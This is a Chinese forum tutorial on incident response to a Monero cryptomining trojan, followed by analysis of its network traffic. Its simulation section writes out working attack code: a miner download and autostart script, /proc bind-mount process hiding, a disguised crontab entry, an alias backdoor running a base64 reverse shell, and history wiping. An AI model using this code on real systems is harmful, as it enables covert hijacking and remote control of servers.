问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
挖矿木马+隐藏后门应急分析
漏洞分析
记录一次挖矿病毒木马的学习,仅供学习交流 !
前言 == 记录一次挖矿病毒木马的学习,包含一下知识: - SSH 暴力破解 - 挖矿木马 (含流量分析) - Crontab 后门 - Alias 后门 应急响应 ==== 背景 -- 一天,客户反馈服务器莫名其妙突然卡顿、风扇狂转,但是查看 cpu 占用率却都不高,请你上机排查! 查看 cpu 占用率 ---------- ```php top -c ``` 但是发现 cpu 占用率都不高  查看网络连接 ------ ```php netstat -anpt ```  发现可以连接,IP:`43.129.150.140` 对该 ip 进行威胁情报关联分析,发现该 ip 被微步标记为矿池  但是看不到进程信息,怀疑使用了目录挂载 解除目录挂载 ------ 查看所有目录挂载 ```php cat /proc/$$/mountinfo ```  发现可疑挂载,使用以下命令解除挂载 ```php umount /proc/59919 ``` 再次查看 cpu  查看网络连接  查看进程信息 ------  发现隐藏目录,包含恶意程序 计划任务 ---- 干掉恶意进程,并删除文件  查看 cpu 占用率正常 但是没过一会,服务器又开始卡顿、风扇狂转  猜测存在计划任务,但是 `crontab -l` 命令没查到  想到可能是隐藏了,解决: ```php cat -A /var/spool/cron/crontabs/root ```  查看恶意脚本  删除即可 隐藏后门 ---- 发现莫名其妙会出现一些外链的请求  查看历史命令业务异常 ```php history ``` 使用查看 `alias` 命令查看也无异常  再一次连接之后排查  发现执行了一个恶意的 python 脚本  搜索后发现在 `release-upgrade` 文件,修改了 ls 命令  发现 `.bashrc` 文件  找一个初始的文件对比发现多了 5 行  删除、删除 `release-upgrade` 文件、重启 XMR挖矿攻击模拟 ========= 模拟攻击流程 ------ ### SSH 爆破  ### 上挖矿马 下载 ```php wget https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz ``` 解压 ```php tar -zxvf xmrig.tar.gz ``` 解压后我们得到俩个文件,一个是 xmrig 主程序,一个是 config. Json 配置文件。 配置 输入:`vim config.json` 打开 config. Json 文件,将 YOUR\_WALLET\_ADDRESS 修改成你的钱包地址 ```php "user": "YOUR_WALLET_ADDRESS", "pass": "x", ``` 运行 ```php ./xmrig #后台启动 nohup ./xmrig & ```  进程隐藏 ---- ### 目录挂载 未隐藏之前   目录挂载 ```php mkdir /tmp/.k/null mount --bind /tmp/.k/null /proc ```   ### 计划任务 添加计划任务使其可以开机自启,删除后恢复 `1.sh` ```php #!/bin/bash if [ ! -f "/tmp/.k/xmrig" ]; then mkdir /tmp/.k cd /tmp/.k wget https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz tar -zxvf xmrig.tar.gz sed -i 's/YOUR_WALLET_ADDRESS/45cuh6v7YDkdL9gTEkfffQ1rfoA6NitH9huwWUVjZnqCGXB9TrPGPK2D3UgLwMXtf1SCkNwuDNFZZWzCkgnesarBK9MDkJh/' /tmp/.k/config.json mkdir /tmp/.k/null nohup /tmp/.k/xmrig & fi sleep 3 if pgrep -x "xmrig" then pid=$(pgrep -x xmrig) mount --bind /tmp/.k/null /proc/$pid fi ``` `2.sh` ```php (crontab -l;printf "* * * * * /tmp/.s/1.sh;\rno crontw_wab for `whoami` %100 c\n")|crontab - ``` ```php #上传脚本运行 mkdir /tmp/.s cd /tmp/.s chmod 777 1.sh chmod 777 2.sh ./2.sh ``` 效果:`crontab -l` ,必须 `cat -A` 或者 `vim`、`vi` 才能看到  持久化后门 ----- `/etc/update-manager/` 目录下  新建迷惑性文件 `release-upgrade` ```php touch release-upgrade ``` 放入恶意命令 ```php alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xOTkuMSIsIDk5OTkpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts' alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts' alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts' ``` 追加进 `~/.bashrc` 文件 ```php #enable software update with apt #See /etc/apt/source.d/ in the apt package. if [ -f /etc/update-manager/release-upgrade ]; then . /etc/update-manager/release-upgrade fi ``` 清理痕迹 ---- ```php nl .bash_history sed -i '10,$d' .bash_history ``` XMR挖矿流量分析 ========= Stratum 协议 ---------- 矿池一般采用 Stratum 协议与挖矿主机进行交互通信,Stratum 协议是基于 JSON-RPC 2.0 封装的 TCP 通讯协议,在挖矿主机和矿池的交互过程中支持挖矿主机登记、任务下发、账号登录、结果提交和挖矿任务难度调整这五种行为。 XMR 挖矿流量分析 ---------- 由于比特币主机挖矿效益与投入比的不断降低,使得攻击者转向更具挖矿效率优势的门罗币。门罗币可以使用 CPU 或 GPU 进行挖矿,具有隐蔽性强,灵活性高等特点,是挖矿木马的首选,平常实际遇见的挖矿木马挖取的加密货币也几乎都是门罗币。 **其采用 jsonrpc 数据样例的格式进行通信** ### 安装 tcpdump ```php apt-get install tcpdump ``` ### 捕获数据包 捕获前 10000 个经过 ens 33 接口的数据包: ```php tcpdump -i ens33 -c 10000 -nn -w xmr_capture.pcap ``` ### 过滤分析  XMR 采用 Cryptonight 算法作为其工作量证明的哈希函数。当使用 XMRig 进行挖矿时,他所采用的 CryptoNight 算法可能会产生较多的网络流量,因为它需要频繁地与矿池通信以获取新的挖矿任务。各种挖矿程序在使用 Stratum 协议的数据格式都会稍有不同,包括 XMRig。但是它们都遵循 JSON-RPC 2.0 的规范。 #### 矿机任务提交 这个就是 XMRig 挖矿客户端向矿池服务器提交挖矿工作的请求 ```json { "id": 121, "jsonrpc": "2.0", "method": "submit", "params": { "id": "50465107", "job_id": "51650811", "nonce": "cc210000", "result": "374de8..." } } ``` #### 矿池的成功响应 机矿成功提交挖矿工作后由矿池返回 ```json { "jsonrpc": "2.0", "id": 110, "error": null, "result": { "status": "OK" } } ``` #### 矿池下发新任务 ```json { "method": "job", "params": { "blob": "1010a5...", "algo": "rx/0", "height": 3190425, "seed_hash": "78f693...", "job_id": "51724435", "target": "7d770100", "id": "50465107" }, "jsonrpc": "2.0" } ``` ### 总结 总的来说特征还是很明显的,基于 json 的流量,主要特征字段有 id,jsonrpc,method,params,job\_id,nonce,result 等 参考 == <https://wxiaoge.blog.csdn.net/article/details/117472195> <https://blog.csdn.net/laozhang338/article/details/131812201> <https://www.cnblogs.com/smileleooo/p/18172605#%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90>
发表于 2024-07-25 09:00:01
阅读 ( 4593 )
分类:
应急响应
11 推荐
收藏
0 条评论
请先
登录
后评论
Yu9
9 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!